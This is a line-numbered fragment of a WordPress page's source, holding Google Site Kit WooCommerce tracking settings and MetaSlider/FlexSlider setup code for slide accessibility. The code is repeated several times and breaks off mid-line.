1564<script id="googlesitekit-events-provider-content-events-js" src="https://fridaymasti.com/wp-content/plugins/google-site-kit/dist/assets/js/googlesitekit-events-provider-content-events-bb83c1a0aedefa5d25d1.js" defer></script>
vendor: 1 bytes, line 1564
1564
1565<script id="googlesitekit-events-provider-woocommerce-js-before"> 1566window._googlesitekit.wcdata = window._googlesitekit.wcdata || {}; 1567window._googlesitekit.wcdata.products = []; 1568window._googlesitekit.wcdata.add_to_cart = null; 1569window._googlesitekit.wcdata.currency = "USD"; 1570window._googlesitekit.wcdata.currencyMinorUnit = 2; 1571window._googlesitekit.wcdata.eventsToTrack = ["add_to_cart","purchase"]; 1572//# sourceURL=googlesitekit-events-provider-woocommerce-js-before 1573</script>
vendor: 1 bytes, line 1573
1573
1574<script id="googlesitekit-events-provider-woocommerce-js" src="https://fridaymasti.com/wp-content/plugins/google-site-kit/dist/assets/js/googlesitekit-events-provider-woocommerce-86c5a3ff303665006998.js" defer></script>
vendor: 1 bytes, line 1574
1574
1575<script id="metaslider-flex-slider-js" src="https://fridaymasti.com/wp-content/plugins/ml-slider/assets/sliders/flexslider/jquery.flexslider.min.js?ver=3.111.2"></script>
vendor: 1 bytes, line 1575
1575
1576<script id="metaslider-flex-slider-js-after"> 1577var metaslider_4316 = function($) {$('#metaslider_4316').addClass('flexslider'); 1578 $('#metaslider_4316').flexslider({ 1579 slideshowSpeed:3000, 1580 animation:"slide", 1581 controlNav:true, 1582 directionNav:true, 1583 pauseOnHover:false, 1584 direction:"horizontal", 1585 reverse:false, 1586 keyboard:true, 1587 touch:true, 1588 animationSpeed:600, 1589 prevText:"Previous", 1590 nextText:"Next", 1591 smoothHeight:false, 1592 fadeFirstSlide:false, 1593 easing:"linear", 1594 slideshow:true, 1595 pausePlay:false, 1596 showPlayText:false, 1597 playText:false, 1598 pauseText:false, 1599 start: function(slider) { 1600 slider.find('.flex-prev').attr('aria-label', 'Previous'); 1601 slider.find('.flex-next').attr('aria-label', 'Next'); 1602 1603 // Wait for DOM to be ready and FlexSlider to render controls 1604 setTimeout(function() { 1605 var nav = $('#metaslider_4316 .flex-control-nav'); 1606 if (nav.length) { 1607 nav.attr('role', 'tablist'); 1608 } 1609 1610 function updateSliderTabindex() { 1611 var slider_ = $('#metaslider_4316'); 1612 var isSliderHidden = slider_.closest('[aria-hidden="true"]').length > 0 || 1613 slider_.is('[aria-hidden="true"]') || 1614 !slider_.is(':visible'); 1615 1616 if (isSliderHidden) { 1617 slider_.find('a, button, [tabindex]').attr('tabindex', '-1'); 1618 } else { 1619 slider_.find('.slides li[aria-hidden="true"] a, .slides li[aria-hidden="true"] button, .slides li[aria-hidden="true"] [tabindex]').attr('tabindex', '-1'); 1620 slider_.find('.slides li.clone a, .slides li.clone button, .slides li.clone [tabindex]').attr('tabindex', '-1'); 1621 slider_.find('.flex-control-nav a:not(.flex-active)').attr('tabindex', '-1'); 1622 slider_.find('.flex-control-nav a.flex-active').removeAttr('tabindex'); 1623 slider_.find('.slides li:not(.flex-active-slide):not([aria-hidden="true"]):not(.clone) a').attr('tabindex', '-1'); 1624 slider_.find('.slides li.flex-active-slide:not([aria-hidden="true"]):not(.clone) a').removeAttr('tabindex'); 1625 } 1626 } 1627 1628 updateSliderTabindex(); 1629 1630 if (typeof MutationObserver !== 'undefined') { 1631 var observer = new MutationObserver(function(mutations) { 1632 var shouldUpdate = false; 1633 mutations.forEach(function(mutation) { 1634 if (mutation.type === 'attributes' && 1635 (mutation.attributeName === 'aria-hidden' || mutation.attributeName === 'style' || mutation.attributeName === 'class')) { 1636 shouldUpdate = true; 1637 } 1638 if (mutation.type === 'childList') { 1639 shouldUpdate = true; 1640 } 1641 }); 1642 if (shouldUpdate) { 1643 updateSliderTabindex(); 1644 } 1645 }); 1646 1647 var targetNode = $('#metaslider_4316')[0]; 1648 if (targetNode) { 1649 observer.observe(targetNode, { 1650 attributes: true, 1651 attributeFilter: ['aria-hidden', 'style', 'class'], 1652 childList: true, 1653 subtree: true 1654 }); 1655 1656 var parent = targetNode.parentNode; 1657 while (parent && parent !== document.body) { 1658 observer.observe(parent, { attributes: true, attributeFilter: ['aria-hidden', 'style'] }); 1659 parent = parent.parentNode; 1660 } 1661 } 1662 } 1663 }, 0); 1664 1665 1666 // Function to disable focusable elements in aria-hidden slides 1667 function disableAriaHiddenFocusableElements() { 1668 var slider_ = $('#metaslider_4316'); 1669 1670 // Disable focusable elements in slides with aria-hidden='true' 1671 slider_.find('.slides li[aria-hidden="true"] a, .slides li[aria-hidden="true"] button, .slides li[aria-hidden="true"] input, .slides li[aria-hidden="true"] select, .slides li[aria-hidden="true"] textarea, .slides li[aria-hidden="true"] [tabindex]:not
1671([tabindex="-1"])').attr('tabindex', '-1'); 1672 1673 // Disable focusable elements in cloned slides (these should never be focusable) 1674 slider_.find('.slides li.clone a, .slides li.clone button, .slides li.clone input, .slides li.clone select, .slides li.clone textarea, .slides li.clone [tabindex]:not([tabindex="-1"])').attr('tabindex', '-1'); 1675 } 1676 1677 // Initial setup 1678 disableAriaHiddenFocusableElements(); 1679 1680 // Observer for aria-hidden and clone changes 1681 if (typeof MutationObserver !== 'undefined') { 1682 var ariaObserver = new MutationObserver(function(mutations) { 1683 var shouldUpdate = false; 1684 mutations.forEach(function(mutation) { 1685 if (mutation.type === 'attributes' && mutation.attributeName === 'aria-hidden') { 1686 shouldUpdate = true; 1687 } 1688 if (mutation.type === 'childList') { 1689 // Check if cloned slides were added/removed 1690 for (var i = 0; i < mutation.addedNodes.length; i++) { 1691 if (mutation.addedNodes[i].nodeType === 1 && 1692 (mutation.addedNodes[i].classList.contains('clone') || 1693 mutation.addedNodes[i].querySelector && mutation.addedNodes[i].querySelector('.clone'))) { 1694 shouldUpdate = true; 1695 break; 1696 } 1697 } 1698 } 1699 }); 1700 if (shouldUpdate) { 1701 setTimeout(disableAriaHiddenFocusableElements, 10); 1702 } 1703 }); 1704 1705 var targetNode = $('#metaslider_4316')[0]; 1706 if (targetNode) { 1707 ariaObserver.observe(targetNode, { 1708 attributes: true, 1709 attributeFilter: ['aria-hidden'], 1710 childList: true, 1711 subtree: true 1712 }); 1713 } 1714 } 1715 1716 1717 $('#metaslider_4316 .flex-control-nav a.flex-active').attr('aria-current', 'true'); 1718 $('#metaslider_4316 .flex-control-nav a:not(.flex-active)').removeAttr('aria-current'); 1719 1720 document.addEventListener('click', function (event) { 1721 if (event.target.closest('[role=\'tab\']')) { 1722 $('#metaslider_4316').resize(); 1723 } 1724 }); 1725 }, 1726 after: function(slider) { 1727 1728 // Update tabindex after slide change, respecting aria-hidden state 1729 var slider_ = $('#metaslider_4316'); 1730 var isSliderHidden = slider_.closest('[aria-hidden="true"]').length > 0 || 1731 slider_.is('[aria-hidden="true"]') || 1732 !slider_.is(':visible'); 1733 1734 if (!isSliderHidden) { 1735 // Disable focusable elements in slides with aria-hidden='true' 1736 slider_.find('.slides li[aria-hidden="true"] a, .slides li[aria-hidden="true"] button, .slides li[aria-hidden="true"] [tabindex]').attr('tabindex', '-1'); 1737 1738 // Disable focusable elements in cloned slides 1739 slider_.find('.slides li.clone a, .slides li.clone button, .slides li.clone [tabindex]').attr('tabindex', '-1'); 1740 1741 // Normal focus management for navigation 1742 slider_.find('.flex-control-nav a.flex-active').removeAttr('tabindex'); 1743 slider_.find('.flex-control-nav a:not(.flex-active)').attr('tabindex', '-1'); 1744 1745 // Only allow focus on active slide that's not aria-hidden or cloned 1746 slider_.find('.slides li:not(.flex-active-slide):not([aria-hidden="true"]):not(.clone) a').attr('tabindex', '-1'); 1747 slider_.find('.slides li.flex-active-slide:not([aria-hidden="true"]):not(.clone) a').removeAttr('tabindex'); 1748 } 1749 1750 1751 // Re-disable focusable elements after slide transitions 1752 var slider_ = $('#metaslider_4316'); 1753 1754 // Disable focusable elements in slides with aria-hidden='true' 1755 slider_.find('.slides li[aria-hidden="true"] a, .slides li[aria-hidden="true"] button, .slides li[aria-hidden="true"] input, .slides li[aria-hidden="true"] select, .slides li[aria-hidden="true"] textarea, .slides li[aria-hidden="true"] [tabindex]:not
1755([tabindex="-1"])').attr('tabindex', '-1'); 1756 1757 // Disable focusable elements in cloned slides 1758 slider_.find('.slides li.clone a, .slides li.clone button, .slides li.clone input, .slides li.clone select, .slides li.clone textarea, .slides li.clone [tabindex]:not([tabindex="-1"])').attr('tabindex', '-1'); 1759 1760 1761 $('#metaslider_4316 .flex-control-nav a.flex-active').attr('aria-current', 'true'); 1762 $('#metaslider_4316 .flex-control-nav a:not(.flex-active)').removeAttr('aria-current'); 1763 1764 } 1765 }); 1766 $(document).trigger('metaslider/initialized', '#metaslider_4316'); 1767 }; 1768 var timer_metaslider_4316 = function() { 1769 var slider = !window.jQuery ? window.setTimeout(timer_metaslider_4316, 100) : !jQuery.isReady ? window.setTimeout(timer_metaslider_4316, 1) : metaslider_4316(window.jQuery); 1770 }; 1771 timer_metaslider_4316(); 1772var metaslider_4316 = function($) {$('#metaslider_4316').addClass('flexslider'); 1773 $('#metaslider_4316').flexslider({ 1774 slideshowSpeed:3000, 1775 animation:"slide", 1776 controlNav:true, 1777 directionNav:true, 1778 pauseOnHover:false, 1779 direction:"horizontal", 1780 reverse:false, 1781 keyboard:true, 1782 touch:true, 1783 animationSpeed:600, 1784 prevText:"Previous", 1785 nextText:"Next", 1786 smoothHeight:false, 1787 fadeFirstSlide:false, 1788 easing:"linear", 1789 slideshow:true, 1790 pausePlay:false, 1791 showPlayText:false, 1792 playText:false, 1793 pauseText:false, 1794 start: function(slider) { 1795 slider.find('.flex-prev').attr('aria-label', 'Previous'); 1796 slider.find('.flex-next').attr('aria-label', 'Next'); 1797 slider.find('.flex-prev').attr('aria-label', 'Previous'); 1798 slider.find('.flex-next').attr('aria-label', 'Next'); 1799 1800 // Wait for DOM to be ready and FlexSlider to render controls 1801 setTimeout(function() { 1802 var nav = $('#metaslider_4316 .flex-control-nav'); 1803 if (nav.length) { 1804 nav.attr('role', 'tablist'); 1805 } 1806 1807 function updateSliderTabindex() { 1808 var slider_ = $('#metaslider_4316'); 1809 var isSliderHidden = slider_.closest('[aria-hidden="true"]').length > 0 || 1810 slider_.is('[aria-hidden="true"]') || 1811 !slider_.is(':visible'); 1812 1813 if (isSliderHidden) { 1814 slider_.find('a, button, [tabindex]').attr('tabindex', '-1'); 1815 } else { 1816 slider_.find('.slides li[aria-hidden="true"] a, .slides li[aria-hidden="true"] button, .slides li[aria-hidden="true"] [tabindex]').attr('tabindex', '-1'); 1817 slider_.find('.slides li.clone a, .slides li.clone button, .slides li.clone [tabindex]').attr('tabindex', '-1'); 1818 slider_.find('.flex-control-nav a:not(.flex-active)').attr('tabindex', '-1'); 1819 slider_.find('.flex-control-nav a.flex-active').removeAttr('tabindex'); 1820 slider_.find('.slides li:not(.flex-active-slide):not([aria-hidden="true"]):not(.clone) a').attr('tabindex', '-1'); 1821 slider_.find('.slides li.flex-active-slide:not([aria-hidden="true"]):not(.clone) a').removeAttr('tabindex'); 1822 } 1823 } 1824 1825 updateSliderTabindex(); 1826 1827 if (typeof MutationObserver !== 'undefined') { 1828 var observer = new MutationObserver(function(mutations) { 1829 var shouldUpdate = false;
1830 mutations.forEach(function(mutation) { 1831 if (mutation.type === 'attributes' && 1832 (mutation.attributeName === 'aria-hidden' || mutation.attributeName === 'style' || mutation.attributeName === 'class')) { 1833 shouldUpdate = true; 1834 } 1835 if (mutation.type === 'childList') { 1836 shouldUpdate = true; 1837 } 1838 }); 1839 if (shouldUpdate) { 1840 updateSliderTabindex(); 1841 } 1842 }); 1843 1844 var targetNode = $('#metaslider_4316')[0]; 1845 if (targetNode) { 1846 observer.observe(targetNode, { 1847 attributes: true, 1848 attributeFilter: ['aria-hidden', 'style', 'class'], 1849 childList: true, 1850 subtree: true 1851 }); 1852 1853 var parent = targetNode.parentNode; 1854 while (parent && parent !== document.body) { 1855 observer.observe(parent, { attributes: true, attributeFilter: ['aria-hidden', 'style'] }); 1856 parent = parent.parentNode; 1857 } 1858 } 1859 } 1860 }, 0); 1861 1862 1863 // Function to disable focusable elements in aria-hidden slides 1864 function disableAriaHiddenFocusableElements() { 1865 var slider_ = $('#metaslider_4316'); 1866 1867 // Disable focusable elements in slides with aria-hidden='true' 1868 slider_.find('.slides li[aria-hidden="true"] a, .slides li[aria-hidden="true"] button, .slides li[aria-hidden="true"] input, .slides li[aria-hidden="true"] select, .slides li[aria-hidden="true"] textarea, .slides li[aria-hidden="true"] [tabindex]:not([tabindex="-1"])').attr('tabindex', '-1'); 1869 1870 // Disable focusable elements in cloned slides (these should never be focusable) 1871 slider_.find('.slides li.clone a, .slides li.clone button, .slides li.clone input, .slides li.clone select, .slides li.clone textarea, .slides li.clone [tabindex]:not([tabindex="-1"])').attr('tabindex', '-1'); 1872 } 1873 1874 // Initial setup 1875 disableAriaHiddenFocusableElements(); 1876 1877 // Observer for aria-hidden and clone changes 1878 if (typeof MutationObserver !== 'undefined') { 1879 var ariaObserver = new MutationObserver(function(mutations) { 1880 var shouldUpdate = false; 1881 mutations.forEach(function(mutation) { 1882 if (mutation.type === 'attributes' && mutation.attributeName === 'aria-hidden') { 1883 shouldUpdate = true; 1884 } 1885 if (mutation.type === 'childList') { 1886 // Check if cloned slides were added/removed 1887 for (var i = 0; i < mutation.addedNodes.length; i++) { 1888 if (mutation.addedNodes[i].nodeType === 1 && 1889 (mutation.addedNodes[i].classList.contains('clone') || 1890 mutation.addedNodes[i].querySelector && mutation.addedNodes[i].querySelector('.clone'))) { 1891 shouldUpdate = true; 1892 break; 1893 } 1894 } 1895 } 1896 }); 1897 if (shouldUpdate) { 1898 setTimeout(disableAriaHiddenFocusableElements, 10); 1899 } 1900 }); 1901 1902 var targetNode = $('#metaslider_4316')[0]; 1903 if (targetNode) { 1904 ariaObserver.observe(targetNode, { 1905 attributes: true, 1906 attributeFilter: ['aria-hidden'], 1907 childList: true, 1908 subtree: true 1909 }); 1910 } 1911 } 1912 1913 1914 $('#metaslider_4316 .flex-control-nav a.flex-active').attr('aria-current', 'true'); 1915 $('#metaslider_4316 .flex-control-nav a:not(.flex-active)').removeAttr('aria-current'); 1916 1917 document.addEventListener('click', function (event) { 1918 if (event.target.closest('[role=\'tab\']')) { 1919 $('#metaslider_4316').resize(); 1920 } 1921 }); 1922 1923 // Wait for DOM to be ready and FlexSlider to render controls 1924 setTimeout(function() { 1925 var nav = $('#metaslider_4316 .flex-control-nav'); 1926 if (nav.length) { 1927 nav.attr('role', 'tablist'); 1928 } 1929 1930 function updateSliderTabindex() { 1931 var slider_ = $('#metaslider_4316'); 1932 var isSliderHidden = slider_.closest('[aria-hidden="true"]').length > 0 || 1933 slider_.is('[aria-hidden="true"]') || 1934 !slider_.is(':visible'); 1935 1936 if (isSliderHidden) { 1937 slider_.find('a, button, [tabindex]').attr('tabindex', '-1'); 1938 } else { 1939 slider_.find('.slides li[aria-hidden="true"] a, .slides li[aria-hidden="true"] button, .slides li[aria-hidden="true"] [tabindex]').attr('tabindex', '-1'); 1940 slider_.find('.slides li.clone a, .slides li.clone button, .slides li.clone [tabindex]').attr('tabindex', '-1'); 1941 slider_.find('.flex-control-nav a:not(.flex-active)').attr('tabindex', '-1'); 1942 slider_.find('.flex-control-nav a.flex-active').removeAttr('tabindex'); 1943 slider_.find('.slides li:not(.flex-active-slide):not([aria-hidden="true"]):not(.clone) a').attr('tabindex', '-1'); 1944 slider_.find('.slides li.flex-active-slide:not([aria-hidden="true"]):not(.clone) a').removeAttr('tabindex'); 1945 } 1946 } 1947 1948 updateSliderTabindex(); 1949 1950 if (typeof MutationObserver !== 'undefined') { 1951 var observer = new MutationObserver(function(mutations) { 1952 var shouldUpdate = false;
1953 mutations.forEach(function(mutation) { 1954 if (mutation.type === 'attributes' && 1955 (mutation.attributeName === 'aria-hidden' || mutation.attributeName === 'style' || mutation.attributeName === 'class')) { 1956 shouldUpdate = true; 1957 } 1958 if (mutation.type === 'childList') { 1959 shouldUpdate = true; 1960 } 1961 }); 1962 if (shouldUpdate) { 1963 updateSliderTabindex(); 1964 } 1965 }); 1966 1967 var targetNode = $('#metaslider_4316')[0]; 1968 if (targetNode) { 1969 observer.observe(targetNode, { 1970 attributes: true, 1971 attributeFilter: ['aria-hidden', 'style', 'class'], 1972 childList: true, 1973 subtree: true 1974 }); 1975 1976 var parent = targetNode.parentNode; 1977 while (parent && parent !== document.body) { 1978 observer.observe(parent, { attributes: true, attributeFilter: ['aria-hidden', 'style'] }); 1979 parent = parent.parentNode; 1980 } 1981 } 1982 } 1983 }, 0); 1984 1985 1986 // Function to disable focusable elements in aria-hidden slides 1987 function disableAriaHiddenFocusableElements() { 1988 var slider_ = $('#metaslider_4316'); 1989 1990 // Disable focusable elements in slides with aria-hidden='true' 1991 slider_.find('.slides li[aria-hidden="true"] a, .slides li[aria-hidden="true"] button, .slides li[aria-hidden="true"] input, .slides li[aria-hidden="true"] select, .slides li[aria-hidden="true"] textarea, .slides li[aria-hidden="true"] [tabindex]:not([tabindex="-1"])').attr('tabindex', '-1'); 1992 1993 // Disable focusable elements in cloned slides (these should never be focusable) 1994 slider_.find('.slides li.clone a, .slides li.clone button, .slides li.clone input, .slides li.clone select, .slides li.clone textarea, .slides li.clone [tabindex]:not([tabindex="-1"])').attr('tabindex', '-1'); 1995 } 1996 1997 // Initial setup 1998 disableAriaHiddenFocusableElements(); 1999 2000 // Observer for aria-hidden and clone changes 2001 if (typeof MutationObserver !== 'undefined') { 2002 var ariaObserver = new MutationObserver(function(mutations) { 2003 var shouldUpdate = false; 2004 mutations.forEach(function(mutation) { 2005 if (mutation.type === 'attributes' && mutation.attributeName === 'aria-hidden') { 2006 shouldUpdate = true; 2007 } 2008 if (mutation.type === 'childList') { 2009 // Check if cloned slides were added/removed 2010 for (var i = 0; i < mutation.addedNodes.length; i++) { 2011 if (mutation.addedNodes[i].nodeType === 1 && 2012 (mutation.addedNodes[i].classList.contains('clone') || 2013 mutation.addedNodes[i].querySelector && mutation.addedNodes[i].querySelector('.clone'))) { 2014 shouldUpdate = true; 2015 break; 2016 } 2017 } 2018 } 2019 }); 2020 if (shouldUpdate) { 2021 setTimeout(disableAriaHiddenFocusableElements, 10); 2022 } 2023 }); 2024 2025 var targetNode = $('#metaslider_4316')[0]; 2026 if (targetNode) { 2027 ariaObserver.observe(targetNode, { 2028 attributes: true, 2029 attributeFilter: ['aria-hidden'], 2030 childList: true, 2031 subtree: true 2032 }); 2033 } 2034 } 2035 2036 2037 $('#metaslider_4316 .flex-control-nav a.flex-active').attr('aria-current', 'true'); 2038 $('#metaslider_4316 .flex-control-nav a:not(.flex-active)').removeAttr('aria-current'); 2039 2040 document.addEventListener('click', function (event) { 2041 if (event.target.closest('[role=\'tab\']')) { 2042 $('#metaslider_4316').resize(); 2043 } 2044 }); 2045 }, 2046 after: function(slider) { 2047 2048 // Update tabindex after slide change, respecting aria-hidden state 2049 var slider_ = $('#metaslider_4316'); 2050 var isSliderHidden = slider_.closest('[aria-hidden="true"]').length > 0 || 2051 slider_.is('[aria-hidden="true"]') || 2052 !slider_.is(':visible'); 2053 2054 if (!isSliderHidden) { 2055 // Disable focusable elements in slides with aria-hidden='true' 2056 slider_.find('.slides li[aria-hidden="true"] a, .slides li[aria-hidden="true"] button, .slides li[aria-hidden="true"] [tabindex]').attr('tabindex', '-1'); 2057 2058 // Disable focusable elements in cloned slides 2059 slider_.find('.slides li.clone a, .slides li.clone button, .slides li.clone [tabindex]').attr('tabindex', '-1'); 2060 2061 // Normal focus management for navigation 2062 slider_.find('.flex-control-nav a.flex-active').removeAttr('tabindex'); 2063 slider_.find('.flex-control-nav a:not(.flex-active)').attr('tabindex', '-1'); 2064 2065 // Only allow focus on active slide that's not aria-hidden or cloned 2066 slider_.find('.slides li:not(.flex-active-slide):not([aria-hidden="true"]):not(.clone) a').attr('tabindex', '-1'); 2067 slider_.find('.slides li.flex-active-slide:not([aria-hidden="true"]):not(.clone) a').removeAttr('tabindex'); 2068 } 2069 2070 2071 // Re-disable focusable elements after slide transitions 2072 var slider_ = $('#metaslider_4316'); 2073 2074 // Disable focusable elements in slides with aria-hidden='true' 2075 slider_.find('.slides li[aria-hidden="true"] a, .slides li[aria-hidden="true"] button, .slides li[aria-hidden="true"] input, .slides li[aria-hidden="true"] select, .slides li[aria-hidden="true"] textarea, .slides li[aria-hidden="true"] [tabindex]:not
2075([tabindex="-1"])').attr('tabindex', '-1'); 2076 2077 // Disable focusable elements in cloned slides 2078 slider_.find('.slides li.clone a, .slides li.clone button, .slides li.clone input, .slides li.clone select, .slides li.clone textarea, .slides li.clone [tabindex]:not([tabindex="-1"])').attr('tabindex', '-1'); 2079 2080 2081 $('#metaslider_4316 .flex-control-nav a.flex-active').attr('aria-current', 'true'); 2082 $('#metaslider_4316 .flex-control-nav a:not(.flex-active)').removeAttr('aria-current'); 2083 2084 2085 // Update tabindex after slide change, respecting aria-hidden state 2086 var slider_ = $('#metaslider_4316'); 2087 var isSliderHidden = slider_.closest('[aria-hidden="true"]').length > 0 || 2088 slider_.is('[aria-hidden="true"]') || 2089 !slider_.is(':visible'); 2090 2091 if (!isSliderHidden) { 2092 // Disable focusable elements in slides with aria-hidden='true' 2093 slider_.find('.slides li[aria-hidden="true"] a, .slides li[aria-hidden="true"] button, .slides li[aria-hidden="true"] [tabindex]').attr('tabindex', '-1'); 2094 2095 // Disable focusable elements in cloned slides 2096 slider_.find('.slides li.clone a, .slides li.clone button, .slides li.clone [tabindex]').attr('tabindex', '-1'); 2097 2098 // Normal focus management for navigation 2099 slider_.find('.flex-control-nav a.flex-active').removeAttr('tabindex'); 2100 slider_.find('.flex-control-nav a:not(.flex-active)').attr('tabindex', '-1'); 2101 2102 // Only allow focus on active slide that's not aria-hidden or cloned 2103 slider_.find('.slides li:not(.flex-active-slide):not([aria-hidden="true"]):not(.clone) a').attr('tabindex', '-1'); 2104 slider_.find('.slides li.flex-active-slide:not([aria-hidden="true"]):not(.clone) a').removeAttr('tabindex'); 2105 } 2106 2107 2108 // Re-disable focusable elements after slide transitions 2109 var slider_ = $('#metaslider_4316'); 2110 2111 // Disable focusable elements in slides with aria-hidden='true' 2112 slider_.find('.slides li[aria-hidden="true"] a, .slides li[aria-hidden="true"] button, .slides li[aria-hidden="true"] input, .slides li[aria-hidden="true"] select, .slides li[aria-hidden="true"] textarea, .slides li[aria-hidden="true"] [tabindex]:not([tabindex="-1"])').attr('tabindex', '-1'); 2113 2114 // Disable focusable elements in cloned slides 2115 slider_.find('.slides li.clone a, .slides li.clone button, .slides li.clone input, .slides li.clone select, .slides li.clone textarea, .slides li.clone [tabindex]:not([tabindex="-1"])').attr('tabindex', '-1'); 2116 2117 2118 $('#metaslider_4316 .flex-control-nav a.flex-active').attr('aria-current', 'true'); 2119 $('#metaslider_4316 .flex-control-nav a:not(.flex-active)').removeAttr('aria-current'); 2120 2121 } 2122 }); 2123 $(document).trigger('metaslider/initialized', '#metaslider_4316'); 2124 }; 2125 var timer_metaslider_4316 = function() { 2126 var slider = !window.jQuery ? window.setTimeout(timer_metaslider_4316, 100) : !jQuery.isReady ? window.setTimeout(timer_metaslider_4316, 1) : metaslider_4316(window.jQuery); 2127 }; 2128 timer_metaslider_4316(); 2129var metaslider_4316 = function($) {$('#metaslider_4316').addClass('flexslider'); 2130 $('#metaslider_4316').flexslider({ 2131 slideshowSpeed:3000, 2132 animation:"slide", 2133 controlNav:true, 2134 directionNav:true, 2135 pauseOnHover:false, 2136 direction:"horizontal", 2137 reverse:false, 2138 keyboard:true, 2139 touch:true, 2140 animationSpeed:600, 2141 prevText:"Previous", 2142 nextText:"Next", 2143 smoothHeight:false, 2144 fadeFirstSlide:false, 2145 easing:"linear", 2146 slideshow:true, 2147 pausePlay:false, 2148 showPlayText:false, 2149 playText:false, 2150 pauseText:false, 2151 start: function(slider) { 2152 slider.find('.flex-prev').attr('aria-label', 'Previous'); 2153 slider.find('.flex-next').attr('aria-label', 'Next'); 2154 slider.find('.flex-prev').attr('aria-label', 'Previous'); 2155 slider.find('.flex-next').attr('aria-label', 'Next'); 2156 slider.find('.flex-prev').attr('aria-label', 'Previous'); 2157 slider.find('.flex-next').attr('aria-label', 'Next'); 2158 2159 // Wait for DOM to be ready and FlexSlider to render controls 2160 setTimeout(function() { 2161 var nav = $('#metaslider_4316 .flex-control-nav'); 2162 if (nav.length) { 2163 nav.attr('role', 'tablist'); 2164 } 2165 2166 function updateSliderTabindex() { 2167 var slider_ = $('#metaslider_4316'); 2168 var isSliderHidden = slider_.closest('[aria-hidden="true"]').length > 0 || 2169 slider_.is('[aria-hidden="true"]') || 2170 !slider_.is(':visible'); 2171 2172 if (isSliderHidden) { 2173 slider_.find('a, button, [tabindex]').attr('tabindex', '-1'); 2174 } else { 2175 slider_.find('.slides li[aria-hidden="true"] a, .slides li[aria-hidden="true"] button, .slides li[aria-hidden="true"] [tabindex]').attr('tabindex', '-1'); 2176 slider_.find('.slides li.clone a, .slides li.clone button, .slides li.clone [tabindex]').attr('tabindex', '-1'); 2177 slider_.find('.flex-control-nav a:not(.flex-active)').attr('tabindex', '-1'); 2178 slider_.find('.flex-control-nav a.flex-active').removeAttr('tabindex'); 2179 slider_.find('.slides li:not(.flex-active-slide):not([aria-hidden="true"]):not(.clone) a').attr('tabindex', '-1'); 2180 slider_.find('.slides li.flex-active-slide:not([aria-hidden="true"]):not(.clone) a').removeAttr('tabindex'); 2181 } 2182 } 2183 2184 updateSliderTabindex(); 2185 2186 if (typeof MutationObserver !== 'undefined') { 2187 var observer = new MutationObserver(function(mutations) { 2188 var shouldUpdate = false;
2189 mutations.forEach(function(mutation) { 2190 if (mutation.type === 'attributes' && 2191 (mutation.attributeName === 'aria-hidden' || mutation.attributeName === 'style' || mutation.attributeName === 'class')) { 2192 shouldUpdate = true; 2193 } 2194 if (mutation.type === 'childList') { 2195 shouldUpdate = true; 2196 } 2197 }); 2198 if (shouldUpdate) { 2199 updateSliderTabindex(); 2200 } 2201 }); 2202 2203 var targetNode = $('#metaslider_4316')[0]; 2204 if (targetNode) { 2205 observer.observe(targetNode, { 2206 attributes: true, 2207 attributeFilter: ['aria-hidden', 'style', 'class'], 2208 childList: true, 2209 subtree: true 2210 }); 2211 2212 var parent = targetNode.parentNode; 2213 while (parent && parent !== document.body) { 2214 observer.observe(parent, { attributes: true, attributeFilter: ['aria-hidden', 'style'] }); 2215 parent = parent.parentNode; 2216 } 2217 } 2218 } 2219 }, 0); 2220 2221 2222 // Function to disable focusable elements in aria-hidden slides 2223 function disableAriaHiddenFocusableElements() { 2224 var slider_ = $('#metaslider_4316'); 2225 2226 // Disable focusable elements in slides with aria-hidden='true' 2227 slider_.find('.slides li[aria-hidden="true"] a, .slides li[aria-hidden="true"] button, .slides li[aria-hidden="true"] input, .slides li[aria-hidden="true"] select, .slides li[aria-hidden="true"] textarea, .slides li[aria-hidden="true"] [tabindex]:not([tabindex="-1"])').attr('tabindex', '-1'); 2228 2229 // Disable focusable elements in cloned slides (these should never be focusable) 2230 slider_.find('.slides li.clone a, .slides li.clone button, .slides li.clone input, .slides li.clone select, .slides li.clone textarea, .slides li.clone [tabindex]:not([tabindex="-1"])').attr('tabindex', '-1'); 2231 } 2232 2233 // Initial setup 2234 disableAriaHiddenFocusableElements(); 2235 2236 // Observer for aria-hidden and clone changes 2237 if (typeof MutationObserver !== 'undefined') { 2238 var ariaObserver = new MutationObserver(function(mutations) { 2239 var shouldUpdate = false; 2240 mutations.forEach(function(mutation) { 2241 if (mutation.type === 'attributes' && mutation.attributeName === 'aria-hidden') { 2242 shouldUpdate = true; 2243 } 2244 if (mutation.type === 'childList') { 2245 // Check if cloned slides were added/removed 2246 for (var i = 0; i < mutation.addedNodes.length; i++) { 2247 if (mutation.addedNodes[i].nodeType === 1 && 2248 (mutation.addedNodes[i].classList.contains('clone') || 2249 mutation.addedNodes[i].querySelector && mutation.addedNodes[i].querySelector('.clone'))) { 2250 shouldUpdate = true; 2251 break; 2252 } 2253 } 2254 } 2255 }); 2256 if (shouldUpdate) { 2257 setTimeout(disableAriaHiddenFocusableElements, 10); 2258 } 2259 }); 2260 2261 var targetNode = $('#metaslider_4316')[0]; 2262 if (targetNode) { 2263 ariaObserver.observe(targetNode, { 2264 attributes: true, 2265 attributeFilter: ['aria-hidden'], 2266 childList: true, 2267 subtree: true 2268 }); 2269 } 2270 } 2271 2272 2273 $('#metaslider_4316 .flex-control-nav a.flex-active').attr('aria-current', 'true'); 2274 $('#metaslider_4316 .flex-control-nav a:not(.flex-active)').removeAttr('aria-current'); 2275 2276 document.addEventListener('click', function (event) { 2277 if (event.target.closest('[role=\'tab\']')) { 2278 $('#metaslider_4316').resize(); 2279 } 2280 }); 2281 2282 // Wait for DOM to be ready and FlexSlider to render controls 2283 setTimeout(function() { 2284 var nav = $('#metaslider_4316 .flex-control-nav'); 2285 if (nav.length) { 2286 nav.attr('role', 'tablist'); 2287 } 2288 2289 function updateSliderTabindex() { 2290 var slider_ = $('#metaslider_4316'); 2291 var isSliderHidden = slider_.closest('[aria-hidden="true"]').length > 0 || 2292 slider_.is('[aria-hidden="true"]') || 2293 !slider_.is(':visible'); 2294 2295 if (isSliderHidden) { 2296 slider_.find('a, button, [tabindex]').attr('tabindex', '-1'); 2297 } else { 2298 slider_.find('.slides li[aria-hidden="true"] a, .slides li[aria-hidden="true"] button, .slides li[aria-hidden="true"] [tabindex]').attr('tabindex', '-1'); 2299 slider_.find('.slides li.clone a, .slides li.clone button, .slides li.clone [tabindex]').attr('tabindex', '-1'); 2300 slider_.find('.flex-control-nav a:not(.flex-active)').attr('tabindex', '-1'); 2301 slider_.find('.flex-control-nav a.flex-active').removeAttr('tabindex'); 2302 slider_.find('.slides 